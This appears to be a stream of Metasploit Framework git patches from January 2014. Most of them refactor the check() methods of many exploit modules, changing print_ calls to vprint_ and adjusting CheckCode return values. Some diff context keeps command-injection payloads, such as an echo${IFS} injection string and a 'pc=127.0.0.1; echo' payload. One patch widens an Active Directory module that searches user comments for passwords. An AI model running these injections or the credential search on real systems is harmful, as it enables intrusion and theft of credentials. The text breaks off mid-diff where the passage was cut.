Msf::Exploit::Remote 'uri' => test_url }, 25) if (not res) or (res.body.match(content)) - print_warning("WARNING: The test file exists already!") - return Exploit::CheckCode::Safe + vprint_warning("The test file exists already!") + return Exploit::CheckCode::Unknown # Need to try again with a different file end # try to create it - print_status("Attempting to create #{test_url} ...") + vprint_status("Attempting to create #{test_url} ...") search = rand_text_numeric(1+rand(5)) + "\';echo${IFS}" + content + "${IFS}>" + test_file + ".txt;#\'" res = send_request_raw({ 'uri' => cmd_base + Rex::Text.uri_encode(search) @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => cmd_base + Rex::Text.uri_encode(search) }, 25) if (not res) or (res.code != 200) - print_warning("WARNING: unable to remove test file (#{test_file})") + vprint_warning("WARNING: unable to remove test file (#{test_file})") end return Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb index 44ee6388a8..c18897d482 100644 --- a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb +++ b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb @@ -343,7 +343,7 @@ class Metasploit3 < Msf::Exploit::Remote node_id = get_node unless node_id.nil? - return Msf::Exploit::CheckCode::Vulnerable + return Msf::Exploit::CheckCode::Appears end res = send_request_cgi({ @@ -351,10 +351,10 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/ - return Msf::Exploit::CheckCode::Detected + return Msf::Exploit::CheckCode::Appears end - return Msf::Exploit::CheckCode::Unknown + return Msf::Exploit::CheckCode::Safe end def on_new_session(session) From 85396b7af27e5dce60ad97e4265b5f34e7c677ee Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 21 Jan 2014 14:10:35 -0600 Subject: [PATCH 042/246] Saving progress Progress group 4: Making sure these checks comply with the new guidelines. Please read: "How to write a check() method" found in the wiki. --- modules/exploits/multi/http/cuteflow_upload_exec.rb | 2 +- modules/exploits/multi/http/eaton_nsm_code_exec.rb | 2 +- .../exploits/multi/http/extplorer_upload_exec.rb | 7 ++++--- .../exploits/multi/http/glossword_upload_exec.rb | 10 +++++----- modules/exploits/multi/http/glpi_install_rce.rb | 4 ++-- modules/exploits/multi/http/hp_sys_mgmt_exec.rb | 4 ++-- .../multi/http/hyperic_hq_script_console.rb | 10 +++++----- modules/exploits/multi/http/ispconfig_php_exec.rb | 3 --- modules/exploits/multi/http/jboss_invoke_deploy.rb | 12 ++++++------ .../exploits/multi/http/kordil_edms_upload_exec.rb | 13 +++++++------ modules/exploits/multi/http/lcms_php_exec.rb | 6 +++--- .../exploits/multi/http/manageengine_search_sqli.rb | 2 +- .../exploits/multi/http/movabletype_upgrade_exec.rb | 2 +- modules/exploits/multi/http/op5_license.rb | 4 ++-- modules/exploits/multi/http/op5_welcome.rb | 4 ++-- modules/exploits/multi/http/openfire_auth_bypass.rb | 6 +++--- modules/exploits/multi/http/openx_backdoor_php.rb | 2 +- .../exploits/multi/http/php_cgi_arg_injection.rb | 6 +++--- .../multi/http/phpldapadmin_query_engine.rb | 2 +- .../exploits/multi/http/phpmyadmin_preg_replace.rb | 12 +++++++----- .../exploits/multi/http/phpscheduleit_start_date.rb | 2 +- modules/exploits/multi/http/phptax_exec.rb | 2 +- modules/exploits/multi/http/plone_popen2.rb | 2 +- modules/exploits/multi/http/pmwiki_pagelist.rb | 2 +- modules/exploits/multi/http/polarcms_upload_exec.rb | 2 +- modules/exploits/multi/http/processmaker_exec.rb | 7 ++++--- 26 files changed, 66 insertions(+), 64 deletions(-) diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index c1003f7717..dd1474d71b 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res.body =~ /\<strong style\=\"font\-size\:8pt\;font\-weight\:normal\"\>Version 2\.11\.2\<\/strong\>\<br\>/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears elsif res.body =~ /\<a href\=\"http\:\/\/cuteflow\.org" target\=\"\_blank\"\>/ return Exploit::CheckCode::Detected else diff --git a/modules/exploits/multi/http/eaton_nsm_code_exec.rb b/modules/exploits/multi/http/eaton_nsm_code_exec.rb index ca37ae8fc1..c8646fe686 100644 --- a/modules/exploits/multi/http/eaton_nsm_code_exec.rb +++ b/modules/exploits/multi/http/eaton_nsm_code_exec.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote res = execute_php_code("phpinfo();die();") if not res or res.code != 200 - print_error("Failed: Error requesting page") + vprint_error("Failed: Error requesting page") return CheckCode::Unknown end diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb index 979bcf7497..a21b89ecc7 100644 --- a/modules/exploits/multi/http/extplorer_upload_exec.rb +++ b/modules/exploits/multi/http/extplorer_upload_exec.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote end if res.body =~ /<version>2\.1\.(0RC\d|0|1|2)<\/version>/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end if res.body =~ /eXtplorer/ @@ -79,9 +79,10 @@ class Metasploit3 < Msf::Exploit::Remote end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("#{peer} - Connection failed") + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb index c224aac3f1..0a9bf7ad39 100644 --- a/modules/exploits/multi/http/glossword_upload_exec.rb +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -59,18 +59,18 @@ class Metasploit3 < Msf::Exploit::Remote res = login(base, user, pass) if res if res.code == 200 - print_error("#{peer} - Authentication failed") + vprint_error("#{peer} - Authentication failed") return Exploit::CheckCode::Unknown elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/ - print_good("#{peer} - Authenticated successfully") + vprint_good("#{peer} - Authenticated successfully") return Exploit::CheckCode::Appears end end - return Exploit::CheckCode::Safe + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("#{peer} - Connection failed") + vprint_error("#{peer} - Connection failed") end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end diff --git a/modules/exploits/multi/http/glpi_install_rce.rb b/modules/exploits/multi/http/glpi_install_rce.rb index 5675201e41..93d2f48df8 100644 --- a/modules/exploits/multi/http/glpi_install_rce.rb +++ b/modules/exploits/multi/http/glpi_install_rce.rb @@ -69,10 +69,10 @@ class Metasploit3 < Msf::Exploit::Remote m = Regexp.new(re, Regexp::IGNORECASE) matched = m.match(res.body) if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/ - print_good("Detected Version : #{matched[3]}") + vprint_good("Detected Version : #{matched[3]}") return Exploit::CheckCode::Appears elsif matched - print_error("Version #{matched[3]} is not vulnerable") + vprint_error("Version #{matched[3]} is not vulnerable") end return Exploit::CheckCode::Safe diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index 3fee6ed245..581fbce608 100644 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -77,12 +77,12 @@ class Metasploit3 < Msf::Exploit::Remote res = send_command(cmd) if not res - print_error("#{peer} - Connection timed out") + vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end if res.code == 200 && res.body =~ /#{sig}/ - print_good("#{peer} - Running with user '#{res.body.split(sig)[1].strip}'") + vprint_good("#{peer} - Running with user '#{res.body.split(sig)[1].strip}'") return Exploit::CheckCode::Vulnerable end diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index dbca321677..19c9a442ed 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -105,20 +105,20 @@ class Metasploit3 < Msf::Exploit::Remote pass = datastore['PASSWORD'] # login - print_status("#{peer} - Authenticating as '#{user}'") + vprint_status("#{peer} - Authenticating as '#{user}'") res = login(user, pass) if res and res.code == 302 and res.headers['location'] !~ /authfailed/ - print_good("#{peer} - Authenticated successfully as '#{user}'") + vprint_good("#{peer} - Authenticated successfully as '#{user}'") # check access to the console - print_status("#{peer} - Checking access to the script console") + vprint_status("#{peer} - Checking access to the script console") get_nonce if @nonce.nil? return Exploit::CheckCode::Detected else - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end elsif res.headers.include?('X-Jenkins') or res.headers['location'] =~ /authfailed/ - print_error("#{peer} - Authentication failed") + vprint_error("#{peer} - Authentication failed") return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb index 8c81bbf63d..12fbbbda2f 100644 --- a/modules/exploits/multi/http/ispconfig_php_exec.rb +++ b/modules/exploits/multi/http/ispconfig_php_exec.rb @@ -52,9 +52,6 @@ class Metasploit4 < Msf::Exploit::Remote ], self.class) end - def check - end - def lng datastore['LANGUAGE'] end diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 729a2e2d3c..a9cf6273fc 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -90,20 +90,20 @@ class Metasploit4 < Msf::Exploit::Remote def check res = send_serialized_request('version.bin') if res.nil? - print_error("Connection timed out") + vprint_error("Connection timed out") return Exploit::CheckCode::Unknown elsif res.code != 200 - print_error("Unable to request version, returned http code is: #{res.code.to_s}") + vprint_error("Unable to request version, returned http code is: #{res.code.to_s}") return Exploit::CheckCode::Unknown end # Check if the version is supported by this exploit - return Exploit::CheckCode::Vulnerable if res.body =~ /CVSTag=Branch_4_/ - return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_4_/ - return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_5_/ + return Exploit::CheckCode::Appears if res.body =~ /CVSTag=Branch_4_/ + return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_4_/ + return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/ if res.body =~ /ServletException/ # Simple check, if we caused an exception. - print_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit") + vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit") return Exploit::CheckCode::Appears end diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb index 8a695a956f..1d9210b423 100644 --- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb +++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb @@ -57,17 +57,18 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 if res.body =~ /<center><font face="Arial" size="2">Kordil EDMS v2\.2\.60/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears elsif res.body =~ /Kordil EDMS v/ return Exploit::CheckCode::Detected end end - return Exploit::CheckCode::Safe - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("#{peer} - Connection failed") - end - return Exploit::CheckCode::Unknown + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown + end + + return Exploit::CheckCode::Safe end def upload(base, file) diff --git a/modules/exploits/multi/http/lcms_php_exec.rb b/modules/exploits/multi/http/lcms_php_exec.rb index b87389353b..fc1b6cdac2 100644 --- a/modules/exploits/multi/http/lcms_php_exec.rb +++ b/modules/exploits/multi/http/lcms_php_exec.rb @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote def check target_url if @uri.empty? or @arg.empty? - print_error("Unable to get the page parameter, please reconfigure URI") + vprint_error("Unable to get the page parameter, please reconfigure URI") return end @@ -110,10 +110,10 @@ class Metasploit3 < Msf::Exploit::Remote }, 20) if response and response.body =~ /#{signature}/ - print_status("Signature: #{signature}") + vprint_status("Signature: #{signature}") return Exploit::CheckCode::Vulnerable else - print_error("Signature was not detected") + vprint_error("Signature was not detected") return Exploit::CheckCode::Safe end end diff --git a/modules/exploits/multi/http/manageengine_search_sqli.rb b/modules/exploits/multi/http/manageengine_search_sqli.rb index ffe1732df3..da787d5622 100644 --- a/modules/exploits/multi/http/manageengine_search_sqli.rb +++ b/modules/exploits/multi/http/manageengine_search_sqli.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote res = sqli_exec(Rex::Text.rand_text_alpha(1)) if res and res.body =~ /Error during search/ - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 0996cd97a4..acd70eb924 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -70,7 +70,7 @@ class Metasploit4 < Msf::Exploit::Remote def check fingerprint = rand_text_alpha(5) - print_status("#{peer} - Sending check...") + vprint_status("#{peer} - Sending check...") begin res = http_send_raw(fingerprint) rescue Rex::ConnectionError diff --git a/modules/exploits/multi/http/op5_license.rb b/modules/exploits/multi/http/op5_license.rb index b000181848..0ff2944781 100644 --- a/modules/exploits/multi/http/op5_license.rb +++ b/modules/exploits/multi/http/op5_license.rb @@ -54,8 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote end def check - print_status("Attempting to detect if the OP5 Monitor is vulnerable...") - print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") + vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...") + vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") # Try running/timing 'ping localhost' to determine is system is vulnerable start = Time.now diff --git a/modules/exploits/multi/http/op5_welcome.rb b/modules/exploits/multi/http/op5_welcome.rb index f374b6bb9b..42b2932835 100644 --- a/modules/exploits/multi/http/op5_welcome.rb +++ b/modules/exploits/multi/http/op5_welcome.rb @@ -54,8 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote end def check - print_status("Attempting to detect if the OP5 Monitor is vulnerable...") - print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") + vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...") + vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") # Try running/timing 'ping localhost' to determine is system is vulnerable start = Time.now diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index f14f2c997b..e04e6609b1 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -97,18 +97,18 @@ class Metasploit3 < Msf::Exploit::Remote }) if (not res) or (res.code != 200) - print_error("Unable to make a request to: #{path}") + vprint_error("Unable to make a request to: #{path}") return Exploit::CheckCode::Unknown end versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/ if versioncheck.nil? then - print_error("Unable to detect Openfire version") + vprint_error("Unable to detect Openfire version") return Exploit::CheckCode::Unknown end - print_status("Detected version: #{$1}.#{$2}.#{$3}") + vprint_status("Detected version: #{$1}.#{$2}.#{$3}") version = "#{$1}#{$2}#{$3}".to_i return Exploit::CheckCode::Safe if version > 360 diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb index 59f4408c39..62667b859f 100644 --- a/modules/exploits/multi/http/openx_backdoor_php.rb +++ b/modules/exploits/multi/http/openx_backdoor_php.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote if response.nil? CheckCode::Unknown elsif response.body =~ /#{token} ((:?\d\.?)+)/ - print_status("PHP Version #{$1}") + vprint_status("PHP Version #{$1}") return CheckCode::Vulnerable end return CheckCode::Safe diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index e571186ccf..61a67e8e40 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -66,12 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote # -s Display colour syntax highlighted source. def check - print_status("Checking uri #{uri}") + vprint_status("Checking uri #{uri}") response = send_request_raw({ 'uri' => uri }) if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi and not datastore['PLESK'] - print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable") + vprint_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable") return Exploit::CheckCode::Unknown end @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Appears end - print_error("Server responded indicating it was not vulnerable") + vprint_error("Server responded indicating it was not vulnerable") return Exploit::CheckCode::Safe end diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index e37a13f9b2..fc0e9c5c99 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 3) if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb index cadae2b862..a652dd0a74 100644 --- a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb +++ b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb @@ -64,18 +64,18 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') }) rescue - print_error("Unable to connect to server.") + vprint_error("Unable to connect to server.") return CheckCode::Unknown end if res.code != 200 - print_error("Unable to query /js/messages.php") + vprint_error("Unable to query /js/messages.php") return CheckCode::Unknown end php_version = res['X-Powered-By'] if php_version - print_status("PHP Version: #{php_version}") + vprint_status("PHP Version: #{php_version}") if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/ if $1.to_i > 5 return CheckCode::Safe @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote end end else - print_status("Unknown PHP Version") + vprint_status("Unknown PHP Version") end if res.body =~ /pmaversion = '(.*)';/ @@ -105,9 +105,11 @@ class Metasploit3 < Msf::Exploit::Remote return CheckCode::Vulnerable end - return CheckCode::Unknown + return CheckCode::Detected end end + + CheckCode::Safe end def exploit diff --git a/modules/exploits/multi/http/phpscheduleit_start_date.rb b/modules/exploits/multi/http/phpscheduleit_start_date.rb index 8735bf0c23..651e5e8977 100644 --- a/modules/exploits/multi/http/phpscheduleit_start_date.rb +++ b/modules/exploits/multi/http/phpscheduleit_start_date.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote uri = normalize_uri(datastore['URI']) uri << '/' if uri[-1,1] != '/' - print_status("Checking uri #{uri}") + vprint_status("Checking uri #{uri}") response = send_request_cgi({ 'method' => "POST", diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index 18c96f5a25..57220832a0 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.body =~ /PHPTAX by William L\. Berggren/ return Exploit::CheckCode::Detected else - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end end diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb index de5cec0c88..ac5fb0e31e 100644 --- a/modules/exploits/multi/http/plone_popen2.rb +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => uri }, 25) if (res.headers['Bobo-Exception-Type'].to_s =~ /zExceptions.BadRequest/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end # patched == zExceptions.NotFound return Exploit::CheckCode::Safe diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index d2fdfdfb94..2b121e3576 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 25) if (res and res.body =~ /pmwiki-2.[0.00-2.34]/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb index 3f133d1344..edc0b5e3fc 100644 --- a/modules/exploits/multi/http/polarcms_upload_exec.rb +++ b/modules/exploits/multi/http/polarcms_upload_exec.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if not res or res.code != 200 - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb index 2e47e916bc..6b1b20990d 100644 --- a/modules/exploits/multi/http/processmaker_exec.rb +++ b/modules/exploits/multi/http/processmaker_exec.rb @@ -127,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote # send check fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10) - print_status("#{peer} - Sending check") + vprint_status("#{peer} - Sending check") begin res = execute_command("echo #{fingerprint}") if res and res.body =~ /#{fingerprint}/ @@ -136,9 +136,10 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE - print_error("#{peer} - Connection failed") + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown end - return Exploit::CheckCode::Unknown + Exploit::CheckCode::Safe end # From eee716a6b3c3bdc63ab83b361aa9c4683739d965 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Tue, 21 Jan 2014 20:59:31 +0000 Subject: [PATCH 043/246] Grab comments and descriptions ftw --- modules/post/windows/gather/enum_ad_user_comments.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index de28dd3018..d68ffb0e1c 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -13,10 +13,10 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Gather Active Directory User Descriptions', + 'Name' => 'Windows Gather Active Directory User Comments', 'Description' => %Q{ This module will enumerate user accounts in the default AD directory. Which - contain 'pass' in their description (case-insensitive) by default. + contain 'pass' in their description or comment (case-insensitive) by default. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], @@ -31,8 +31,8 @@ class Metasploit3 < Msf::Post register_options([ OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 50]), OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]), - OptString.new('FIELDS', [true, 'Fields to retrieve.', 'sAMAccountName,userAccountControl,description']), - OptString.new('FILTER', [true, 'Search filter.', '(&(&(&(&(objectCategory=person)(objectClass=user)(description=*pass*)))))']), + OptString.new('FIELDS', [true, 'Fields to retrieve.','sAMAccountName,userAccountControl,comment,description']), + OptString.new('FILTER', [true, 'Search filter.','(&(&(objectCategory=person)(objectClass=user))(|(description=*pass*)(comment=*pass*)))']), ], self.class) end From 646f7835a3b4245e78cf467582951e64ccd3ae28 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 21 Jan 2014 17:14:55 -0600 Subject: [PATCH 044/246] Saving progress --- modules/exploits/linux/http/wanem_exec.rb | 4 ++-- .../linux/http/webcalendar_settings_exec.rb | 4 ++-- modules/exploits/linux/http/zabbix_sqli.rb | 6 +++--- .../linux/http/zen_load_balancer_exec.rb | 10 +++++----- .../http/zenoss_showdaemonxmlconfig_exec.rb | 8 ++++---- modules/exploits/linux/imap/imap_uw_lsub.rb | 4 ++-- .../linux/local/sophos_wpa_clear_keys.rb | 2 +- modules/exploits/linux/local/zpanel_zsudo.rb | 2 +- .../exploits/linux/misc/hp_vsa_login_bof.rb | 2 +- .../linux/misc/nagios_nrpe_arguments.rb | 4 ++-- modules/exploits/linux/misc/sercomm_exec.rb | 6 +++--- .../exploits/linux/misc/zabbix_server_exec.rb | 8 ++++---- .../linux/samba/setinfopolicy_heap.rb | 2 +- .../multi/ftp/wuftpd_site_exec_format.rb | 2 +- .../multi/http/apprain_upload_exec.rb | 2 +- .../multi/http/auxilium_upload_exec.rb | 2 +- .../exploits/multi/http/cisco_dcnm_upload.rb | 20 +++++++++---------- modules/exploits/multi/http/coldfusion_rds.rb | 4 ++-- 18 files changed, 46 insertions(+), 46 deletions(-) diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb index 1a64359162..e50c966fed 100644 --- a/modules/exploits/linux/http/wanem_exec.rb +++ b/modules/exploits/linux/http/wanem_exec.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote data = "pc=127.0.0.1; " data << Rex::Text.uri_encode("echo #{fingerprint}") data << "%26" - print_status("#{peer} - Sending check") + vprint_status("#{peer} - Sending check") begin res = send_request_cgi({ @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data }, 25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("#{peer} - Connection failed") + vprint_error("#{peer} - Connection failed") return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb index c0665dd1a1..2fe8f0116e 100644 --- a/modules/exploits/linux/http/webcalendar_settings_exec.rb +++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb @@ -60,8 +60,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => "#{uri}/login.php" }) - if res and res.body =~ /WebCalendar v1.2.\d/ - return Exploit::CheckCode::Vulnerable + if res and res.body =~ /WebCalendar v1\.2\.\d/ + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb index 2d7a564c1d..ca19fb5a97 100644 --- a/modules/exploits/linux/http/zabbix_sqli.rb +++ b/modules/exploits/linux/http/zabbix_sqli.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote def check # Check version - print_status("#{peer} - Trying to detect installed version") + vprint_status("#{peer} - Trying to detect installed version") res = send_request_cgi({ 'method' => 'GET', @@ -72,10 +72,10 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ and res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/ version = $1 - print_status("#{peer} - Zabbix version #{version} detected") + vprint_status("#{peer} - Zabbix version #{version} detected") else # If this fails, guest access may not be enabled - print_status("#{peer} - Unable to access httpmon.php") + vprint_status("#{peer} - Unable to access httpmon.php") return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index fe82b999be..96e02f8cbf 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -66,23 +66,23 @@ class Metasploit3 < Msf::Exploit::Remote def check # retrieve software version from config file - print_status("#{peer} - Sending check") + vprint_status("#{peer} - Sending check") begin res = send_request_cgi({ 'uri' => '/config/global.conf' }) - if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/ + if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/ return Exploit::CheckCode::Appears elsif res and res.code == 200 and res.body =~ /zenloadbalancer/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("#{peer} - Connection failed") + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown end - return Exploit::CheckCode::Unknown - + return Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index 